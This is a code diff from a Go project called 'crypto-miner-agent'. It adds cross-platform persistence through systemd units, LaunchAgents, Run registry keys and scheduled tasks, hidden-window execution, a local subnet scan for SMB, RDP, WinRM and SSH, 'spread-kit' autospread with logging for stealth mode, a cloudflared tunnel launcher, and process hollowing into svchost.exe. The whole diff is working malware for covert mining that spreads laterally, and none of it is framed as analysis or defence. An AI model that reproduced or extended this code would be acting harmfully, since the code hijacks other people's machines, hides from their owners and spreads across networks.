</s:Envelope>`, externalPort)
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
return err
}
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
}
return data, nil
}
func primaryLocalIPv4() (string, error) {
conn, err := net.Dial("udp4", "8.8.8.8:80")
if err != nil {
return "", err
}
defer conn.Close()
addr := conn.LocalAddr().(*net.UDPAddr)
return addr.IP.String(), nil
}
func xmlEscape(s string) string {
s = strings.ReplaceAll(s, "&", "&amp;")
s = strings.ReplaceAll(s, "<", "&lt;")
s = strings.ReplaceAll(s, ">", "&gt;")
return s
}
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
func ScanLocalSubnet(maxHosts int) string {
if maxHosts <= 0 {
maxHosts = 64
}
ips := getLocalIPs()
if len(ips) == 0 {
return "no local IPv4 interfaces found"
}
var b strings.Builder
seen := 0
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
for i := 1; i < 255 && seen < maxHosts; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
open := probePorts(target, []int{445, 3389, 5985, 22})
if len(open) > 0 {
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
seen++
}
}
}
if seen == 0 {
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
}
return b.String()
}
func probePorts(host string, ports []int) []int {
var open []int
for _, p := range ports {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
if err == nil {
conn.Close()
open = append(open, p)
}
}
return open
}
func intSliceStr(v []int) []string {
out := make([]string, len(v))
for i, n := range v {
out[i] = strconv.Itoa(n)
}
return out
}

View File

@@ -0,0 +1,144 @@
//go:build !windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
switch runtime.GOOS {
case "darwin":
return configureLaunchAgent(cfg, binPath)
default:
return configureSystemdUser(cfg, binPath)
}
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
return configureAutoStart(cfg, installedBin)
}
return nil
}
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
unitName := PersistenceKeyName(cfg) + ".service"
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if err := os.MkdirAll(unitDir, 0755); err != nil {
return err
}
unitPath := filepath.Join(unitDir, unitName)
content := fmt.Sprintf(`[Unit]
Description=AetherForge Worker %s
After=network.target
[Service]
Type=simple
ExecStart=%s %s
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
`, cfg.WorkerName, binPath, runFlag)
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
return nil
}
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
if err := os.MkdirAll(plistDir, 0755); err != nil {
return err
}
plistPath := filepath.Join(plistDir, label+".plist")
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>%s</string>
<key>ProgramArguments</key>
<array><string>%s</string><string>%s</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>ProcessType</key><string>Background</string>
</dict>
</plist>
`, label, binPath, runFlag)
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
return err
}
_ = exec.Command("launchctl", "load", plistPath).Run()
return nil
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
}
func HostOSVersion() string {
out, err := exec.Command("uname", "-sr").CombinedOutput()
if err != nil {
return runtime.GOOS
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
name := BinaryName(cfg)
if runtime.GOOS == "darwin" {
_ = exec.Command("pkill", "-f", name).Run()
} else {
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
}
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
switch runtime.GOOS {
case "darwin":
label := "com.aetherforge." + sanitizeName(keyName)
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
_ = exec.Command("launchctl", "unload", plistPath).Run()
_ = os.Remove(plistPath)
default:
unitName := keyName + ".service"
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
}
}
func selfUninstallSpawn(installDir string) {
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
_ = os.WriteFile(tmp, []byte(script), 0755)
cmd := exec.Command("/bin/sh", tmp)
_ = cmd.Start()
}

View File

@@ -0,0 +1,102 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "scheduled", "service":
return createScheduledTask(cfg, installedBin)
default:
return nil
}
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(binPath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: 0x08000000,
}
}
func HostOSVersion() string {
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
if err != nil {
return "windows"
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
}
func selfUninstallSpawn(installDir string) {
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
}

View File

@@ -0,0 +1,24 @@
//go:build !windows
package deploy
import (
"syscall"
)
func SetProcessPriority(priority string) error {
nice := 5
switch priority {
case "idle":
nice = 19
case "below_normal":
nice = 10
case "normal":
nice = 5
case "above_normal":
nice = 0
case "high":
nice = -5
}
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
}

View File

@@ -1,10 +1,11 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
)
func SetProcessPriority(priority string) error {
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run()
}
func CurrentExecutable() (string, error) {
return filepath.Abs(os.Args[0])
}

72
agent/deploy/spreadkit.go Normal file
View File

@@ -0,0 +1,72 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
)
const spreadLogName = "aetherforge-spread.log"
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
func LogSpreadError(stage string, err error) {
if err == nil {
return
}
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
path := filepath.Join(os.TempDir(), spreadLogName)
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if openErr != nil {
return
}
_, _ = f.WriteString(line)
_ = f.Close()
}
func LogSpreadInfo(msg string) {
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
path := filepath.Join(os.TempDir(), spreadLogName)
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return
}
_, _ = f.WriteString(line)
_ = f.Close()
}
func isLocalhostURL(url string) bool {
u := strings.ToLower(strings.TrimSpace(url))
return strings.Contains(u, "localhost") ||
strings.Contains(u, "127.0.0.1") ||
strings.Contains(u, "[::1]")
}
const firstRunSpreadMarker = ".spread_first_run"
func setFirstRunSpreadMarker(installDir string) error {
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
}
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
dir, err := cfg.InstallDirectory()
if err != nil {
return false
}
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
return err == nil
}
// ClearFirstRunSpreadMarker removes the first-run spread marker.
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
dir, err := cfg.InstallDirectory()
if err != nil {
return
}
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
}

35
agent/deploy/tunnel.go Normal file
View File

@@ -0,0 +1,35 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
func StartCloudflaredTunnel(serverURL string) (string, error) {
serverURL = strings.TrimSpace(serverURL)
if serverURL == "" {
return "", fmt.Errorf("server URL required")
}
checkCmd := exec.Command("cloudflared", "--version")
if err := checkCmd.Run(); err != nil {
downloadCmd := exec.Command("powershell", "-Command",
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
}
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
_ = exec.Command("copy", "/Y", src, dst).Run()
}
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
if err := tunnelCmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared: %w", err)
}
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
}

View File

@@ -3,61 +3,46 @@ package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
// Uninstall removes persistence, stops the process, and deletes the install directory.
func Uninstall(cfg config.RuntimeConfig) error {
processName := cfg.EffectiveProcessName()
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
installedExe := filepath.Join(installDir, processName+".exe")
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
installedBin, err := InstalledBinaryPath(cfg)
if err != nil {
return err
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
killWorkerProcess(cfg)
removePersistence(cfg)
RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
selfUninstallSpawn(installDir)
os.Exit(0)
}
if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err)
}
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0)
return nil
}
// EnsureFirewallExclusion is implemented per platform.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
if !cfg.FirewallExclusion {
return
}
platformEnsureFirewall(cfg, binPath)
}
// RemoveFirewallExclusion is implemented per platform.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
platformRemoveFirewall(cfg)
}

View File

@@ -5,6 +5,7 @@ import (
"log"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/client"
@@ -25,6 +26,17 @@ func main() {
log.Fatal("server URL is required in built-in configuration")
}
if deploy.WantsSpreadInstall() {
installed, err := deploy.SpreadInstall(cfg)
if err != nil {
deploy.LogSpreadError("fatal", err)
log.Fatalf("[spread-install] failed: %v", err)
}
if installed {
return
}
}
installed, err := deploy.InstallIfNeeded(cfg)
if err != nil {
log.Fatalf("[installer] failed: %v", err)
@@ -57,21 +69,22 @@ func main() {
deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
if cfg.FirewallExclusion {
if installDir, err := cfg.InstallDirectory(); err == nil {
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
deploy.EnsureFirewallExclusion(cfg, installedExe)
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
deploy.EnsureFirewallExclusion(cfg, binPath)
}
}
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
// Trigger Process Hollowing Memory Injection if enabled
if cfg.ProcessHollowing {
// Simple check: if we aren't already running as svchost, hollow it!
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
exePath, _ := os.Executable()
payload, err := os.ReadFile(exePath)
@@ -79,7 +92,7 @@ func main() {
log.Printf("[hollowing] Injecting into svchost.exe...")
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
if err == nil {
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
os.Exit(0)
}
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
}

View File

@@ -0,0 +1,34 @@
//go:build darwin
package stats
import (
"os/exec"
"strconv"
"strings"
)
func (r *Reporter) memoryStatus() (total, avail uint64) {
out, err := exec.Command("sysctl", "-n", "hw.memsize").Output()
if err != nil {
return 0, 0
}
total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64)
out, err = exec.Command("vm_stat").Output()
if err != nil {
return total, total / 2
}
// Rough available estimate from vm_stat free pages
var pageSize uint64 = 4096
var freePages uint64
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, "Pages free") {
parts := strings.Fields(line)
if len(parts) >= 3 {
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
}
}
}
avail = freePages * pageSize
return total, avail
}

View File

@@ -0,0 +1,7 @@
//go:build !linux && !darwin && !windows
package stats
func (r *Reporter) memoryStatus() (total, avail uint64) {
return 0, 0
}

View File

@@ -0,0 +1,41 @@
//go:build linux
package stats
import (
"bufio"
"os"
"strconv"
"strings"
)
func (r *Reporter) memoryStatus() (total, avail uint64) {
f, err := os.Open("/proc/meminfo")
if err != nil {
return 0, 0
}
defer f.Close()
var memTotal, memAvail uint64
sc := bufio.NewScanner(f)
for sc.Scan() {
line := sc.Text()
if strings.HasPrefix(line, "MemTotal:") {
memTotal = parseKB(line)
} else if strings.HasPrefix(line, "MemAvailable:") {
memAvail = parseKB(line)
}
}
if memTotal == 0 {
return 0, 0
}
return memTotal * 1024, memAvail * 1024
}
func parseKB(line string) uint64 {
fields := strings.Fields(line)
if len(fields) < 2 {
return 0
}
v, _ := strconv.ParseUint(fields[1], 10, 64)
return v
}

View File

@@ -0,0 +1,50 @@
//go:build !windows
package stats
import (
"os"
"runtime"
"sync"
)
type Reporter struct {
mu sync.Mutex
}
func NewReporter() *Reporter {
return &Reporter{}
}
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU()
total, _ := r.memoryStatus()
memoryGB = int(total / (1024 * 1024 * 1024))
if memoryGB < 1 {
memoryGB = 1
}
return hostname, cpuCores, memoryGB
}
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
total, avail := r.memoryStatus()
if total > 0 {
memPct = float64(total-avail) / float64(total) * 100
}
return 0, memPct
}
func (r *Reporter) FreeMemoryMB() uint64 {
_, avail := r.memoryStatus()
return avail / (1024 * 1024)
}
func (r *Reporter) TotalMemoryMB() uint64 {
total, _ := r.memoryStatus()
return total / (1024 * 1024)
}
func (r *Reporter) SystemCPUPercent() float64 {
return 0
}

View File

@@ -1,3 +1,5 @@
//go:build windows
package stats
import (
@@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
if total > 0 {
memPct = float64(total-avail) / float64(total) * 100
}
// CPU usage is reported by the agent client from mining load; keep a sane default here.
cpuPct = 0
return cpuPct, memPct
}